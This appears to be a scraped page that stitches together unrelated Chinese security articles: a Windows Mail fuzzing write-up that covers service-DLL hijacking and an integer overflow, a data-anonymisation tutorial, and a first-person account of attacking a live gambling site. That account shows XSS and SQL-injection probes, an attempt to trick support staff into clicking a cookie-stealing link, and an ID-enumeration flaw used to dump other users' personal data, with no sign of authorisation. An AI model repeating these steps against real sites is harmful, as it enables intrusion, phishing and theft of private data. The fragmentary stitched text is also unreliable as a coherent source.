總結卡巴斯基實驗室的研究人員早在2022年就開始了調查，最終發現CloudWizardAPT活動與兩個相關的大型模塊化框架：CommonMagic和CloudWizard。研究表明，CommonMagic和CloudWizard幕後組織發起的攻擊可以追溯到2008年，那一年首次發現了Prikormka樣本。自2017年以來，類似攻擊就銷聲匿跡了。然而，這兩個活動背後的組織並沒有消停，一直開發他們的工具集並攻擊感興趣的目標。

22.png

HireHackking

上一篇文章主要講的是理論上的可能性，本文，我們會詳細介紹實踐中遇到的一些挑戰。

挑戰1：可擴展存儲引擎緩存清理WindowsMail利用統一的存儲數據庫將電子郵件數據（例如電子郵件地址和消息）保存在本地文件系統中。此數據庫位於路徑%LOCALAPPDATA%\Comms\UnistoreDB\store.vol。可擴展存儲引擎(ESENT)使用專有的二進制格式為其數據結構構建數據庫。這種二進制格式可以使用像ESEDatabaseView這樣的工具來查看。使用ESENT的好處是它有一個緩存機制，可以最大限度地高性能訪問數據。這種緩存機制是我們遇到的第一個障礙。

在後台，緩存緩衝區根據系統服務啟動UserDataService時初始化的ESENT參數JET_paramVerPageSize分配一個大小。默認緩存大小為0x2000，必須與頁面大小粒度對齊。但是，這在WTF模糊器模塊的上下文中成為一個問題。

問題是，當緩存緩衝區已滿時，ESENT將工作項排隊以清除緩存緩衝區。工作項是程序可以提交給線程池的子例程。工作項是異步執行的，並且調度程序系統會根據系統資源的可用性發出警報。遺憾的是，這是一個複雜的機制，WTF模糊器無法模擬。因此，fuzzer模塊將在上下文切換時退出，當它碰到線程API（例如，KERNELBASE!QueueUserWorkItem）時退出。讓模糊器超越上下文切換是對CPU時間的浪費。這就是為什麼你應該在每個WTF模糊器模塊中找到類似的斷點處理程序的原因：

133.png

在上下文切換期間停止模糊器模塊的斷點處理程序

當發生意外的上下文切換時，開發者必須了解它發生的原因並實施解決方法以達到所需的代碼路徑。這可以通過分析WTF模糊器生成並由0vercl0k的Symbolizer後處理的覆蓋跟踪日誌來完成。下圖顯示了在上下文切換處停止的覆蓋跟踪日誌示例：

14.png

通過Symbolizer生成的覆蓋跟踪日誌示例

這裡沒有復雜的技巧來分析覆蓋跟踪日誌。我們只需進行回溯以定位模塊或函數轉換（即modA!funcnameX-modB!funcnameY）以發現上下文切換的原因。通常，我們將模塊文件加載到IDAPro中以統計研究和理解底層代碼。有時，執行靜態代碼分析可能還不夠，尤其是當代碼包含IDAPro無法自動解析的虛函數調用時。相反，你可以使用TTD來解析虛函數調用或探索執行的代碼。

15.png

覆蓋跟踪日誌揭示了上下文切換的原因

上圖顯示ESENT!CGPTaskManager:ErrTMPost+0xd4調用KERNELBASE!QueueUserWorkItem，本質上是在線程池隊列中放置一個可執行線程，而ESENT!CGPTaskManager:ErrTMPost是從ESENT!VER:VERSignalCleanup派生的。在深入分析該函數後，在TTD的幫助下，我們確定了ESENT!VER:VERSignalCleanup的目的是將當前緩衝區緩存大小與通過JET_paramVerPageSize指定的默認緩存大小進行比較。它調用QueueUserWorkItem來執行緩存清理線程，ESENT！ VER:VERIRCECleanProc，如果當前緩存緩衝區被填滿，最終會導致上下文切換。因此，我們面臨的挑戰是找到一種方法來防止觸發清理程序。

我們首先想到的是，最簡單的解決方法是將默認緩存大小從0x2000增加到其最大大小0x10000。從技術上講，數據庫引擎的配置設置可以根據MSDN文檔使用API JetSetSystemParameter進行調整。但是，我們無法通過使用外部程序來更改駐留在隔離的系統服務進程空間中的設置來實現這一目標。

16.1.png

16.2.png

16.3.png

清單3：顯示系統主機服務集數據庫引擎配置設置的調用堆棧

查看清單3中的調用堆棧，然後我們考慮通過劫持UserDataService並在數據庫引擎配置設置發生之前在ESENT.dll中的特定偏移處調整硬編碼的默認緩存大小來解決此問題。我們決定試一試。

劫持服務DLL很簡單。我們可以定位到目標服務註冊表項，定義如下：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UserDataSvc\Parameters

ServiceDLL=%SystemRoot%\System32\userdataservice.dll

當ServiceDLL條目調整為我們自定義的服務DLL文件時，它將變成：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UserDataSvc\Parameters

ServiceDLL=c:\userdatasvc\UserDataSvcProxy.dll

自定義服務DLL導出兩個強制模型函數，ServiceMain和SvchostPushServiceGlobals。修改上述註冊表項後，系統服務將加載自定義服務DLL，該DLL執行模型ServiceMain函數。模型ServiceMain函數將在ESENT.dll中的特定偏移處修補JET_paramVerPageSize。打補丁後，它會將執行傳遞給UserDataService導出的初始ServiceMain函數，並像往常一樣繼續它的初始例程。

17.1.png

17.2.png

17.3.png

清單4：顯示自定義服務DLL劫持UserDataService的調用堆棧

設置完後，我們針對新的快照映像運行模糊器模塊，並加載了自定義服務DLL，該DLL應將緩存大小調整為0x10000。但不幸的是，它仍然hits=清理過程。因此，我們需要找出另一種解決方法。

我們查看了ESENT!VER:VERSignalCleanup，但意識到該函數不返回調用函數的值，這使我們相信函數例程並不關心這個清理過程是否成功執行。最重要的是，它似乎不跟踪任何可能導致ESENT中意外行為的全局狀態或事件。考慮到這些，我們決定跳過這個清理過程，只需設置一個斷點來模擬這個函數，即在命中斷點時立即返回到調用者，如下圖所示：

18.png

跳過ESENT!VER:VERSignalCleanup以避免上下文切換

這樣，我們的模糊器模塊可以在清理過程之外執行，而無需點擊上下文切換！但是，需要注意的是，這可能會大大增加快照映像內的內存使用量。但這不應該給我們帶來任何潛在的問題，因為一旦完成模糊測試迭代，快照映像就會恢復到其原始狀態。換句話說，懸空緩存緩衝區可以忽略不計。

挑戰2：加載一個卸載的DLL並執行分頁內存如果你熟悉軟件模擬，就會明白讓模擬器的行為像本機計算機一樣是不可能的。同樣的事情也適用於WTF模糊器。當出現這種限制時，我們需要找到解決方法。但根據面臨的限制的複雜性，有些解決辦法可能很簡單，有些解決辦法就像調整快照映像一樣簡單。

我們遇到的下一個問題是，當WTF嘗試從文件系統加載已卸載的DLL文件時會發生上下文切換。同樣，我們通過分析覆蓋跟踪日誌和一些代碼片段確定了問題的根本原因，如下圖所示。從覆蓋跟踪日誌中，我們可以看出CoCreateInstanceAPI是從MCCSEngineShared!Decode2047Header+0xfe調用的。此COMAPI負責加載在類ID中指定的COM對象，在本例中為CLSID_CMultiLanguage。此類ID對應於C:\WINDOWS\SYSTEM32\mlang.dll。

19.png

加載卸載的DLL文件

有了這些信息，我們手動將COM對象DLL注入目標進程，將映像轉儲為新的快照，並對其進行測試。結果，它超越了MCCSEngineShared!Decode2047Header，但我們遇到了另一個問題。

20.png

由內存訪問錯誤導致的另一個上下文切換

查看上圖中的覆蓋跟踪日誌後，我們意識到發生了從用戶模式exsmime!CMimeReader:FindBoundary到內核模式nt!MiUserFault的異常代碼執行轉換。我們的經驗表明，模擬器可能已命中保留的內存地址或換出到頁面文件的內存地址。這是一種常見的Windows內存管理機制，出於性能原因將不經常使用的內存保留在頁面文件中。為了驗證這一點，我們使用WinDbg調試器加載內存轉儲並檢查在exsmime!CMimeReader:FindBoundary+0x4f處指定的代碼，如圖10所示。

21.png

調用虛函數時的內存訪問錯誤

它從虛函數表中調用虛函數，但虛函數的目的地exsmime!CHdrContentType:value是通過TTD快照確定的，如下圖所示：

22.png

使用TTD確定虛函數的目的地址

為了解決這個內存訪問問題，我們運行了lockmem實用程序，它確保指定進程的每個可用內存區域都將保留在內存中，因此它不會被寫入頁面文件，這會在訪問時引發頁面錯誤。為獲得最佳結果，始終建議執行完整的內存轉儲，以避免其他不可預見的內存訪問問題。當你對內核模式組件進行模糊測試時，此技巧特別有用。

挑戰3：註冊表掛鉤Windows註冊表是一個分層數據庫，用於存儲Windows操作系統和應用程序的低級設置。該數據庫將註冊表配置單元的信息保存在文件系統中。也就是說，註冊表操作在一定程度上涉及到I/O操作。由於模擬器都不支持這些操作，因此我們需要復制這些功能。

在撰寫本文時，WTF提供了一個fshook子系統來複製I/O操作，但不提供註冊表掛鉤（此後是reghook）。顯然，我們不能為reghook重用fshook，因為它們是不同的API，但我們可以將fshook中的一些實現調整為reghook。例如，我們可以重用fshook和RegHandleTable_t類中的偽句柄算法。 fshook和reghook之間的關鍵區別在於如何模擬預期內容（(即用於I/O操作的文件內容和用於註冊表操作的註冊表數據）。例如，對於reghook，如果註冊表操作要打開一個新句柄，則調用RegOpenKeyAPI來打開特定註冊表項的句柄。其對應的鉤子處理程序將API調用重定向到本機。換句話說，本機設備將嘗試使用本機API打開註冊表項，如果註冊表項存在，則返回句柄。打開的句柄對本機有效，但對作為內存轉儲的客戶機無效。因此，應該生成一個偽句柄並將其映射到本機句柄。

重申一下，當前的regook實現是不完整的，並且沒有針對其他目標進行全面測試。但是擴展現有的regook以支持其他註冊表API應該相當簡單。

奇特的RFC822.SIZE案例在部署和分發模糊器模塊後，我們開始收集模糊器收集的有趣輸入。從那裡，我們開始生成代碼跟踪，並使用Lighthouse插件將其加載到IDAPro中以進行進一步分析。

我們首先對InternetMail.dll進行逆向工程，以找到操縱變異輸入的代碼，特別是模糊器提供給目標的ResponseParams。此時，FETCH響應中的一個有趣的ResponseParams，RFC822.SIZE，立即引起了我們的注意。經查，RFC822.SIZE是FETCH命令的屬性之一，表示消息的大小。簡單地說，它告訴電子郵件客戶端到達客戶端的整個電子郵件消息的大小，包括電子郵件標題、內容和附件。

有趣的是，從清單5中的代碼片段來看，該值的代碼清理非常簡單，只需確保消息的大小不是4GB（基數為10的4294967295或32位十六進制的0xFFFFFFFF）即可。這樣做時會產生錯誤。

23.png

清單5：獲取RFC822.SIZE並將其保存在數據結構中

在(1)中，如果strtoul無法執行有效轉換，則返回零值。但是，似乎(2)中的代碼清理沒有意義，因為4294967294（32位十六進制中的0xFFFFFFFE）之類的值可能會繞過檢查並造成算術溢出，如果該值將用於某些算術運算代碼中的某處。在深入研究代碼後，我們只發現了一個操縱該值的函數。毫不奇怪，我們在這裡看到了相同的代碼清理。

24.1.png

24.2.png

清單6：HeaderParser:_PostNewMessageCreation操作RFC822.SIZE

在(A)中，從pImapSyncContext中檢索到v1指針，表明未知指針可能與某些保持某些同步狀態的數據結構有關。進一步查看代碼，我們在(B)和(C)中看到兩個算術運算。對於(B)，根據RFC822.SIZE的值進行增量操作，並將增量值的結果保存到v1指針，而RFC822.SIZE值在(C)中聚合。這似乎值得深入研究。

因此，我們準備了一個由多個FETCHResponseParams和偽造的RFC822.SIZE組成的IMAP數據包，然後使用TTD捕獲執行的代碼。

25.1.png

25.2.png

25.3.png

25.4.png

25.5.png

清單7：具有兩個FETCH響應參數的IMAP數據包使用偽造的RFC822.SIZE

26.1.png

26.2.png

26.3.png

清單8：調試器輸出顯示v1指針中RFC822.SIZE的聚合值

清單8中突出顯示的區域清楚地表明聚合值溢出了v1指針中的相鄰字段。但我們不確定被覆蓋的字段是否會帶來任何安全問題。因此，我們需要確定此原始內存的數據結構字段。我們使用TTD.Utility.GetHeapAddress來顯示堆的起始地址以及分配和初始化堆地址的位置。

27.1.png

27.2.png

v1指針的GetHeapAddress輸出和堆分配調用堆棧

根據TTD.Utility.GetHeapAddress的輸出，我們確定v1指針的起始堆地址為0x251a1f58f60，並從SYNCUTIL!SyncStatsHelpers:_LookupAccountSyncStats初始化。在這個函數中，我們意識到v1指針被傳遞給SYNCUTIL!SyncStatsHelpers:_LoadSyncStats，它將各種統計信息加載到v1指針引用的數據結構中。

28.1.png

28.2.png

28.3.png

HireHackking

某菠菜网站的渗透

1、偶然间发现一个菠菜站点，遂测试一番，思路如下：既然是菠菜站，肯定会让用户注册，否则怎么收钱了？注册这种和用户强交互的页面，可能存在的漏洞如下：

  • sql注入：用户输入的账号信息，如果不经过滤直接用来写入或查询数据库，肯定存在sql注入
  • xss：在输入框输入的个人信息，大概率会被展示在用户的页面；同时管理员肯定有权限在后台查看用户的个人信息，这里可能会有存储型xss；就算是反射型或DOM型xss，由于这类站点有客服，可以想办法诱骗客户点击链接，达到偷cookie或其他目的；
  • 平行越权：用户登陆时、登陆后查看某些页面，此时抓包，如果有类似id字段，通过更改id号可能能看到其他用户、甚至管理员的信息
  • CSRF：修改账号信息，比如密码；或则修改邮箱，再通过邮箱修改密码；
  • 支付漏洞：抓包改参数，造成0元支付

2、顺着这个思路，不管三七二之一，先上工具试试注册页面，结果如下：发现2个高危的xss；

3y3gferadee12832.png

 （1）先看第二个：把提示的参数换成检测工具的payload后，页面如下：自己的payload居然被完整的在页面展示，没有任何过滤，高兴死我了；

qjtojfdwmbv12835.png

        由于payload本身就在JS内部，所以刚开始并未构造script标签，而是直接用类似 '19736%0a',}%0aalert(666);%0a' 这种payload，目的是让alert(666)直接暴露在后台原有的script标签里，但反复尝试了好多个都不行，只能调整思路，重新构造script标签，这次成功，如下；说明这个xss没误报；

  2yyad531w3k12837.png

        另一个是cookie里面的，把sessionid改了，也能直接出现在页面的html源码；和上面第一个类似，都可以构造script执行自己的js代码；不过由于不知道后台源码，不能确定这里是否是存储型xss，也不能通过构造url诱骗别人点击，我个人觉得意义不大，这里不再验证；

  v2ble0hlq4c12842.png

由于目前还无法登陆后台，其他xss是否是存储型还不确定，现阶段暂不继续验证其他xss漏洞；

  vxshoswky2e12849.png

（2）登陆界面抓包，用户名和密码居然明文传输，WTF.......

 0hrsjdimstp12852.png

        放过后，又抓到新包，放入repeater尝试：里面有个字段captcha是验证码，删掉后服务器任然会执行，并且不会提示验证码错误，而是用户名或密码错误，省了不少事；先用正确的账号测试，发现返回的status是Y，一切正常；

   1jjhwgbuce112855.png

        然后开始用 单引号、双引号、括号、') or 1=1 -- qwe 等各种sql注入的payload尝试，返回都如下：

　w2a45ui4mtq12858.png

    右边那一串native编码解码后为: “请输入4-15个字元, 仅可输入英文字母以及数字的组合”； 看来是有意做了过滤，只能输入字母和数字，并且不能输入任何特殊符号，这里大概率不存在sql注入；（有些站点前端页面也有说说明，并且实在后台服务器端检验，不是再前端用js检验，想用burp抓包后改字段也不行）

    5z4yz5a12gr12861.png

   （3）平行/垂直越权：有些站点登陆后，cookie里面会带上各种id，比如uid=123、groupid=456、telno=135000387465等等，很容易看出字段的含义，并且更改数值后看到其他用户甚至管理员的数据；但这里的cookie都是各种session，剩下各种数字的字段无法看出啥含义，用burp尝试不同的数值都返回status:N，这条路也走不通；

　（4）0元支付：在支付界面抓包，把request包的内容解码，发现里面又sign字段，会对其他字段做校验，改金额的话需要逆向校验算法，再重新计算sign值，这里暂时放弃；PS：这里终于暴露了user_id；

g5xjttk1rlw12863.png

3、通过xray扫描，发现一个resin-viewfile漏洞。

    np3vh4edxst12865.png

    根据扫描提示，改file=xxxx的内容，果然能查到部分文件，比如下面的配置文件；

    l0ngi4j4ny012867.png

    ps3q2pczopa12869.png

 　2ftklt51ae212871.png

 　这个漏洞类似SSRF，可以遍历内网文件；遂在github找漏洞利用的工具，同时用burp跑字典挨个穷举目录和文件，但只发现了如下文件，都是常规的文件和路径，没找到预期的各种配置（比如账号）文件；

    nqn3wrig45p12873.png

 　想遍历C盘，貌似有防护；

     k0mydxmterk12874.png

       这个漏洞暂时放弃；

4、截至目前，已发现能利用的只有XSS，而且还是反射型的，只能先找个xss平台生成一个偷cookie的script标签，嵌入到有xss漏洞的url，然后找到客服MM，诱骗其点击；结果客服MM不但没上当，还发我新链接，让我重新试试新的站点，WTF.........

 　 好吧，重试就重试，于是继续搞新站点；用账号登陆新站点后，主要找和用户有交互的页面（这里涉及大量传参，可以改动的空间很大，出现漏洞的几率比静态网页大很多）；花了大量时间，查看了无数链接后，貌似出现了转机，如下：

       mlutsxwcwek12875.png

　　这里返回了一个json串，里面有账号名、电话、昵称、权限等各种敏感数据，url里面还有client关键词，难道这是查看用户信息的接口？马上用burp抓包，更改url中纯数字的参数（纯数字意味着索引，而且容易穷举），果然不出所料，炸出部分注册用户的信息：

　　wsd3go1n3va12876.png

   5、另外，通过xray还发现了CORS漏洞（数以CSRF的一种），也要想办法诱骗客户、管理员或平台其他的用户点击，这里暂时不深入；

   ldvv2kqou5l12877.png

        这个菠菜站点总结：1、用户在form的输入做了严格限制，sql注入和xss都屏蔽   2、resin漏洞不痛不痒，拿不到敏感数据  3、支付：有sign字段校验，需要先破解校验算法  4、最终有个页面传参未做校验，通过更改数字类参数的值爆破出了部分用户信息； 5、可能是因为业务原因，前端页面暂时没有找到任何上传文件的地方，目前还找不到上传小马的方法；

参考：1、 https://blkstone.github.io/2017/10/30/resin-attack-vectors/  针对Resin服务的攻击向量整理




转载于原文链接地址： https://www.cnblogs.com/theseventhson/p/13738535.html


HireHackking

前言近年來，隨著數據挖掘，機器學習等技術的發展與深入，企業從普通用戶處收集到的大量的數據就變得越來越有價值，對這些數據進行分析處理可以更好的了解用戶的習慣和喜好，從而向用戶提供更加個性化的服務，最終使得用戶對商業以及研究的價值最大化。但是在使用包含有大量個人敏感信息的數據的過程中，不管是直接發布或者內部分析都可能使得不法分子收集到用戶的隱私，損害用戶的相關權益，因此有必要對輸出的數據進行匿名化處理。

在個保法和GDPR/CCPA中，對匿名化(anonymization)的定義是相似的。 匿名化是指個人信息經過處理後，無論是否借助其他信息或工具都無法識別特定自然人且不能複原的過程。

一、匿名化常用技術手段1、屬性抑制马云惹不起马云 屬性抑制是指刪除數據集中某個屬性的全部數據（刪除某個列），該技術一般應用在匿名化過程開始時。

马云惹不起马云 某些情況下，可以使用派生屬性來提高數據集的可用性，例如抑制“工作開始時間”和“工作結束時間”，但是可以創建“工作年限”屬性

處理前

姓名公司工作開始時間工作結束時間張三abc2015.92018.3李四tbc2016.92022.4王五bcd2013.92021.10孫六jbc2011.92023.10處理後，“姓名”抑制，派生“工作年限”

公司工作年限（年）abc3tbc6bcd8jbc12data=DataAnonymizationUtil.dropColumns(String.columns,data);data=DataAnonymizationUtil.createColumns(String.columns,data);2、記錄抑制马云惹不起马云 記錄抑制是指刪除數據集中的整條記錄，刪除唯一或不滿足標準（例如k‑匿名）的異常記錄。

马云惹不起马云 刪除記錄可能會影響數據集，比如可能會影響統計數據種的平均數，中位數等。

處理前：

姓名公司工作開始時間工作結束時間張三abc2015.92018.3李四abc2016.92019.4王五abc2017.92020.10孫六abc2011.92023.10姓名屬性抑制，以及時間派生屬性後

公司工作年限（年）abc3abc3abc3abc12從上面可以看出，孫六的12年和其他人員的工作年限比起來會特別的大，如果其他的一些信息，可能會猜出第四行為孫六，因此應該將第四行刪除

第四行記錄抑制（刪除）後

公司工作年限（年）abc3abc3abc3data=DataAnonymizationUtil.deleteRows(int[]rowNumber,data);3、數據脫敏（字符屏蔽）马云惹不起马云 數據脫敏是數據字符的更改，例如通過符號*或x等對源數據進行替換修改，一般為部分脫敏，即應用與屬性中的一些字符，主要應用於當隱藏屬性的部分就滿足所需的匿名程度時。

马云惹不起马云 脫敏需要考慮屏蔽掉的字符是否反應原數據的相關信息。提前知道數據內本身的規則屏蔽尤其重要，以確保屏蔽到正確的字符。比如數據中的校驗位（比如身份證的校驗位），如果脫敏不徹底，校驗位可能用於恢復脫敏數據。

處理前

工號層級工作年限123461132472142383脫敏後

工號層級工作年限1***611***721***83data=DataAnonymizationUtil.maskColumn(String.columns,data);4、假名化马云惹不起马云 用虛構的值替換識別數據。假名化也稱為編碼。假名可以是不可逆的，也可以是可逆（由原始數據的所有者），匿名化要求，需要採用不可逆假名。

马云惹不起马云 持久化假名允許通過使用相同的化名來表示不同數據集中的同一個屬性以進行關聯。在某些情況下也需要使用不同的假名來表示不同數據集中的同一個人，以防止數據被關聯。

處理前

姓名績效評分工作年限張三601李四702王五803處理後

姓名績效評分工作年限abc601123702xyz803data=DataAnonymizationUtil.pseudColumn(String.columns,data);5、泛化(一般化）马云惹不起马云 泛化降低了數據的精度。例如，將人的年齡轉換為年齡範圍，或將精確位置轉換為不太精確的位置。對於可以泛化並且對結果預期有用的屬性，可以設計適當的規則進行泛化處理。

马云惹不起马云 設計具有適當大小的數據范圍。數據范圍太大可能意味著數據可能被修改得太多，數據的價值會降低；而數據范圍太小可能意味著數據幾乎沒有被修改，容易被重新識別，不滿足要求。請注意，第一個和最後一個範圍可以是更大的範圍，以容納這些末端通常較少的記錄；

處理前

姓名年齡薪資張三2525734李四3543527王五3037524孫六2834257處理後

姓名年齡薪資張*20-3020000-30000李*30-4040000-50000王*30-4030000-40000孫*20-3030000-40000data=DataAnonymizationUtil.generalizeColumn(String.columns,data);6、數據交換马云惹不起马云 交換的目的是重新排列數據集中的數據，使得各個屬性值仍然在數據集中表示，但通常與原始記錄不對應。

马云惹不起马云 適用於分析只看聚合數據的情況，或者分析是在屬性內分析時；換句話說，不需要分析記錄級別的屬性之間的關係。

處理前

姓名年齡薪資張三2525734李四3543527王五3037524孫六2834257處理後

姓名年齡薪資張*2825734李*3037524王*3543527孫*2534257data=DataAnonymizationUtil.swapRows(int[]rows,data);7、數據擾動马云惹不起马云 原始數據集中的值被修改為略有不同即為數據擾動，對於準標識符（通常是數字和日期），與其他數據源結合時可能會被識別，並且值的輕微變化是可以接受的。該技術不應在數據準確性要求較高的情況下使用

马云惹不起马云 擾動程度應與屬性值的範圍成比例，比例太小，不滿足匿名化要求；比例太大，最終值將與原始值相差太大，擾動後數據集的可用性可能會嚴重降低。

處理前

姓名年齡薪資張三2525734李四3543527王五3037524孫六2834257處理後

姓名年齡薪資張*2724257李*3343527王*2837524孫*3035734data=DataAnonymizationUtil.perturbeColumn(String.columns,data);8、數據合成马云惹不起马云 它直接與原始數據分開，重新生成符合模式的數據集，而不是修改原始數據集，通常是當系統測試需要大量數據，但不能提供真實數據且要求提供的數據在某些方面應該是符合模式的，如格式、屬性之間的關係等。

马云惹不起马云 數據在合成時需要研究原始數據集中的模式，並在創建“匿名”數據集（即合成數據）時應用這些模式。根據測試範圍和要求，可以生成全部或部分合成數據；例如，在進行測試時，需要引用其他數據集，那麼正在測試的少數數據需要保持其原始形式，但其他信息可以是合成的。

马云惹不起马云 應用此技術時，可能需要額外注意異常值。出於測試目的，異常值通常非常有價值，因此在合成數據時需要特別注意異常值的合成。

處理前

姓名年齡薪資張三2525734李四3543527王五3037524孫六2834257處理後

姓名年齡薪資a*2734257c*3这里是文章图片7d*2827524b*3045734data=DataAnonymizationUtil.synthesis(data);9、數據聚合马云惹不起马云 將數據集從記錄列表轉換為匯總值即為數據聚合，主要應用於不需要單獨記錄，而僅僅需要聚合數據的場景。

马云惹不起马云 請注意執行聚合後記錄太少的組。在某些情況下聚合數據的單個記錄，加入額外知識可能會輕鬆推斷原數據。

處理前

姓名年齡薪資張三2525734李四3543527王五3037524孫六2834257處理後

年齡段平均薪資20-303000030-4040000data=DataAnonymizationUtil.aggregate(data);二、匿名化步驟匿名化技術在提升數據隱私保護力度的同時，會犧牲數據的可用性，所以在設計和執行匿名化方案時可以遵循如下步驟

1、理解數據研究原始數據，區分其中不同類型的數據字段（直接標識符，準標識符，普通字段屬性），方便後續使用不同的處理方式，作為數據最小化的一部分，應首先刪除結果數據集中不需要的任何數據屬性。

图片30.png

2、應用匿名化技術篩選出需要匿名化的字段，結合數據使用場景和需求，組合使用不同的匿名化技術。

图片31.png

3、評估重標識風險對匿名化結果進行重標識風險分析，如果評估得出重標識風險超過預期，需要回步驟二深度應用或者重新選擇匿名化方案。重標識(re-identification)指的是對匿名化的數據重新關聯到原始個人信息主體的一種數據處理方式，它是匿名化的一個逆向操作。以下為常見的重標識風險

1）識別符洩露指的是處理過程中對識別符字段的匿名化程度不夠，導致對手可以直接獲取到信息主體的直接/間接識別符。例如：手機號碼直接計算哈希值，對手通過哈希碰撞方式，可以獲得數據集中的全部或部分明文手機號碼。

2）屬性洩露對手雖然無法從發布的數據集中獲得信息主體的識別信息，但可以確定該主體某個屬性的屬性值

住址性別年齡是否有糖尿病荷花小區男20-30歲無荷花小區女20-30歲有荷花小區男90-100歲無如上例，可以知曉荷花小區有一位年齡大於90歲的老人，並且能確定該老人有糖尿病。該數據集雖然沒暴露個人識別信息（不知道該老人是誰），但還是暴露了該自然人病史信息。

3）推理信息洩露通過數據集中反映的規律來推斷用戶的某項屬性，比如脫敏後數據集顯示荷花小區50-60歲有30人，其中20人近視為100度到500度，10人近視為500度到1000度，則如果知道自然人是居住在荷花小區後，且年齡是50-60歲之間，就可以知道此人肯定是近視患者。

4、管理匿名數據發布風險基於風險評估結果，結合其他技術措施和管理措施來應對已識別風險。

1）可用技術措施马云惹不起马云 對發布數據集進行嚴格的權限訪問控制，限制可訪問數據集用戶的範圍，並定期對訪問權限進行檢查；

马云惹不起马云 對包含高度敏感信息的數據集，匿名化處理後再次進行加密；

2）可用管理措施马云惹不起马云 記錄已共享數據集，防止不同數據集通過組合暴露個人隱私；

马云惹不起马云 通過審批流程控制匿名化後的數據集訪問的使用；

马云惹不起马云 禁止組織內部成員對匿名化數據集未經批准進行重識別；

马云惹不起马云 定期檢查數據的重標識風險；

马云惹不起马云 定期清理組織內部不再使用的匿名數據集；

四、K匿名化技術1、K-匿名K-匿名模型(k-anonymity)是一種用於評估匿名化/去特徵化後數據的信息安全的模型。它要求處理後的數據集中每個準識別符至少有K條相同的記錄，增加從數據集中直接篩選出記錄並進行關聯攻擊的難度。

K-匿名的概念是由Latanya Sweeney和Pierangela Samarati在1998年的一篇論文中最先提出的，其目的是為了解決如下問題：“給定一組結構化的具體到個人的數據，能否得出一組經過處理的數據，使我們可以證明數據中涉及的個人不能被再識別，同時還要保證數據仍具有使用價值。”使一組數據滿足k-anonymity的過程稱為K-匿名。比如下面這個例子中，每個準識別符住址，性別，年齡至少有2個相同的記錄。

處理前

住址性別年齡身高是否大於180cm荷花小區棟889室男25是荷花小區2棟889室女28否美麗小區30棟3室男34是美麗小區30棟3001室男45是美麗小區30棟1212室女32否荷花小區2棟601室男43是美麗小區31棟1210室女48否荷花小區12棟601室女41是處理後

住址性別年齡身高是否大於180cm荷花小區*棟*室男20-30是荷花小區*棟*室女20-30否美麗小區*棟*室男30-40是美麗小區*棟*室男40-50是美麗小區*棟*室女30-40否荷花小區*棟*室男40-50是美麗小區*棟*室女30-40否荷花小區*棟*室女40-50是K-匿名方法主要有兩種：

1）數據抑制，主要是講一些屬性的值用*取代或者刪除對應的屬性；

2）數據泛化，將一些屬性的精確值用更寬泛的值替代，比如說把年齡這個數字概括成一個年齡段。

判斷是否K匿名的偽代碼

publicstaticbooleanisKAnonymized(Listdata,intk){

MapdataMap=newHashMap();

for(Objecto:data){

ArrayListar=(ArrayList)o;

Stringsb=IntStream.range(0,ar.size()).mapToObj(i-String.valueOf(ar.get(i)))

.collect(Collectors.joining());

dataMap.merge(sb,1,Integer:sum);

}

returndataMap.keySet().stream().noneMatch(key-dataMap.get(key)k);

}如果不滿足，可以通過泛化來對數據進行修改，示例代碼為對裡面int類型的數字進行泛化

publicstaticListgeneralize(Listdata){

Listdata2=newArrayList();

for(Objecto:data){

ArrayListar=(ArrayList)o;

ArrayListar2=newArrayList();

for(inti=0;iar.size();i++){

Objecto1=ar.get(i);

if(o1instanceofInteger){

ar2.add((int)o1/10);

}else{

ar2.add(o1);

}

}

data2.add(ar2);

}

returndata2;

}K-匿名能保證以下三點：

马云惹不起马云 攻擊者無法知道某個人是否在公開的數據中

马云惹不起马云 給定一個人，攻擊者無法確認他是否有某項敏感屬性

马云惹不起马云 攻擊者無法確認某條數據對應的是哪個人

儘管K-匿名化是一個可以較好解決數據匿名化問題的手段，但是如果處理不當，仍然可以從其他角度攻擊匿名化後的數據，這些攻擊包括：

攻擊方法1：未排序匹配攻擊當公開的數據記錄和原始記錄的順序一樣時，攻擊者可以猜出匿名化的記錄屬於誰。

例如：如果攻擊者知道在數據集中李四為最後一項或張三為第一項，那麼就可以確認，李四購買偏好是健身相關，而張三購買偏好為遊戲相關。

性別年齡購買偏好男20-30遊戲相關男20-30健身相關攻擊方法2：同質化攻擊某個K-匿名組內對應的敏感屬性的值也完全相同，這使得攻擊者可以輕易獲取想要的信息。

例如：已知張三為男性，年齡為23歲，那麼可以確認，張三購買偏好是健身相關，李四為女性，李四年齡為35歲，則可以確認李四的購買偏好為穿戴相關。

性別年齡購買偏好男20-30健身相關男20-30健身相關女30-40穿戴相關女30-40穿戴相關攻擊方法3：背景知識攻擊即使K-匿名組內的敏感屬性並不相同，攻擊者也有可能依據其已有的背景知識以高概率獲取到其隱私信息。

例如：攻擊者知道王六為女生，且知道她及其厭惡烹飪，那麼從表中，攻擊者可以確認王六的購買偏好是穿戴。相關

性別年齡購買偏好男20-30遊戲相關男20-30健身相關女30-40烹飪相關女30-40穿戴相關攻擊方法4：補充數據攻擊假如一份數據被公開多次，且它們的k-匿名方式並不一樣，那麼攻擊者可以通過關聯多種數據推測用戶信息。

例如：從一個表中對其進行不同列的2-匿名計算，得到兩個不同的表，如果攻擊者將兩個表格的數據進行拼接，形成一個新的表，可能就會發現新表中存在的唯一數據。

2、L-多樣性L多樣性（l−diversity）為克服k匿名模型缺陷，Machanavajjhala等人提出的一種增強k匿名模型。即在公開的數據中，對於那些準標識符相同的數據，敏感數據必須具有多樣性，這樣才能保證用戶的隱私不能通過背景知識等方法推測出來。

L-多樣性是指相同類型數據中至少有L種內容不同的敏感屬性，使得攻擊者最多以1/L的概率確認個體的敏感信息

住址性別年齡購買偏好美麗小區*棟*室男20-30遊戲相關美麗小區*棟*室男20-30健身相關美麗小區*棟*室男20-30烹飪相關美麗小區*棟*室男20-30穿戴相關美麗小區*棟*室男20-30遊戲相關美麗小區*棟*室男20-30健身相關美麗小區*棟*室男20-30烹飪相關美麗小區*棟*室男20-30穿戴相關在這個例子中，有8條相同的類型的數據，其中購買偏好有4種類型，那麼在這個例子中，匿名化後的數據就滿足4-多樣性。

图片42.png

3、T-相近性T-相近性（t-closeness）是對L多樣性匿名化的進一步細化處理，在對屬性值進行處理時還需要增加考慮屬性數據值的統計分佈，T-相近性要求每個K匿名組中敏感屬性值的統計分佈情況與整個數據的敏感信息分佈情況接近，不超過閾值T；
